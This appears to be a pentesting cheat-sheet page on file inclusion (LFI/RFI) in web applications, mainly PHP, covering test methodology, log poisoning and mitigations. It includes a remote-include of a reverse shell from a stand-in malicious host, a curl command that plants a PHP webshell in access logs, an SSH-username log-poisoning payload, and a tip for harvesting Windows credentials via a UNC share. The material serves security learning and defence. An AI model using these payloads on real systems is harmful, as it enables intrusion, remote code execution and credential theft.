File inclusion

fileinclusion fileinc filepathtraversal

A web application might import/include files based on data from the user. This involves using the user input to:

  • 🐚 determine configuration files to include
  • 🌍 determine language files to include
  • ...

If the user input isn't properly sanitized, the user may be able to control which files are included, which may allow them:

  • πŸ—ΊοΈ To read local or remote files
  • πŸ“š To leverage a SSRF attack (port mapping, steal files, etc.)
  • 🐲 To execute code (either uploaded code, remote code, or using logs)
  • πŸ’₯ To perform a DoS if a file includes itself

Code/data exposure may further compromise the infrastructure.

There are two categories of file inclusion:

  • Local File Inclusion (LFI) 🏠: include a local file
  • Remote File Inclusion (RFI) ✈️: include a remote file

Additional notes:

  • πŸ€– Not all include functions can execute code
  • πŸ“Œ Template engines are more likely to contain LFI/RFI.
  • 🐲 While LFI/RFI often involve HTTP, we can also use ftp://
  • πŸ”‘ Try \\YOURIP\share\ RFI on Windows to harvest credentials
  • 😎 For RFI, try a local URLs first (ex: http://127.0.0.1:80/index.php), as remote URLs may be blocked by a firewall

Basic Methodology

fileinclusion modern_web_exploitation_techniques fileinc

Assuming you found some vectors that might lead to a LFI/RFI:

  • πŸ“š Headers
  • πŸ“„ Forms
  • πŸͺ Cookies
  • 🏠 Stored data such as usernames (if they are used in paths)
  • ...

You might try to play around with the value to see if it works.

For a list of interesting files to read, aside from the website source code and configuration files, refer to arbitrary file read.

Assuming we have page=about.

  • Test Path: ./about
  • Test Null-Byte: ./about.php%00
  • Test Path Traversal: ../<folder name>/about
  • Test engine-specific payloads, such as php://filter
  • Test Remote File Inclusion
  • ...

⚠️ Refer the source code in priority to understand filtering (if any).


PHP File Inclusion

fileinclusion fileinc filepathtraversal archangel teamcw directory_traversal local_file_inclusion php_filters php_assert remote_file_inclusion xslt_code_execution local_file_inclusion_wrappers pyrat_auction local_file_inclusion_double_encoding samcms marabout

The URL http://example.com/?lang=fr associated with the code below is an example of a vulnerable PHP code.

include "lang/$_GET[lang].php" // It loads lang/fr.php

Local File Inclusion (LFI) 🏠: inject a local file

// ex: we uploaded a reverse shell (a fake PNG)
// as our avatar (avatar.png), then we could use:
include "lang/../uploads/avatar.png";
include "phar://<refer to php wrappers>";

Remote File Inclusion (RFI) ✈️: inject a remote file

// πŸ›‘ allow_url_fopen MUST BE SET TO true
include "http://malicious.site/reverse_shell.php";
include "data://<refer to php wrappers>";

πŸ’₯ PHP include/require function executes PHP code.

βš”οΈ We can use Path traversal or PHP Wrappers to include a malicious file, such as one we uploaded using another attack or execute code.

If the session contains a value that we control, we can inject PHP code in this value, then we can read the session file.

  • /var/lib/php/sessions/sess_<session id>
  • C:\Windows\Temp\sess_<session id>

Log Poisoning

fileinclusion filepathtraversal archangel

If the vulnerable function can execute code, we may not have to upload a webshell, we can inject PHP code in the logs and read the logs to execute the injected code.

Note that logs must be readable by the web application. Nginx logs are readable by anyone, but not Apache logs.

# Ex: load /var/log/apache2/access.log / ...
$ curl [...] -A "<?php system(\$_GET['cmd']); ?>"

πŸ‘‰ /proc/self/environ or /proc/self/fd/<0-50> will contains the User-Agent too, but they may not be readable either.

We can alternatively poison ssh logs (username), ftp logs, etc.

$ ssh '<?php /*code*/ ?>'@IP # Ex: /var/log/auth.log

Common logs and their location can be found here.


File Inclusion Filter Bypass

Refer to Path Traversal Bypass filters.


File Inclusion Mitigation πŸ›‘οΈ

fileinclusion fileinc filepathtraversal

  • πŸͺ² Do not use user-controlled input to include a file, whether the input is from the database or from a form.

  • 🫧 Use whitelists (switch-case value to file, maps, etc.), and avoid directly using user-controlled input

  • πŸ•ΈοΈ If paths are allowed, refer to path traversal mitigation

  • πŸ”« Use additional verifications such as using realpath in path to ensure the files are within the allowed directories

  • πŸ”’ Use docker or a similar technology to isolate the application OR lock web applications to their web root directory. In PHP, we can set the open_basedir variable in the PHP INI file. Beware that configuration files will still be accessible.

  • πŸ›‘οΈ In PHP, disable unused dangerous settings such as allow_url_fopen or allow_url_include.

  • πŸ“š Use additional tools such as a WAF, etc.

Refer to PHP Security And Bypasses.


πŸ‘» To-do πŸ‘»

Stuff that I found, but never read/used yet.

  • Second Order Attack (poisoned database entry)
  • LFISuite (1.6k ⭐, 2018 πŸͺ¦)
  • LFiFreak (0.2k ⭐, 2015 πŸͺ¦)
  • liffy (0.7k ⭐)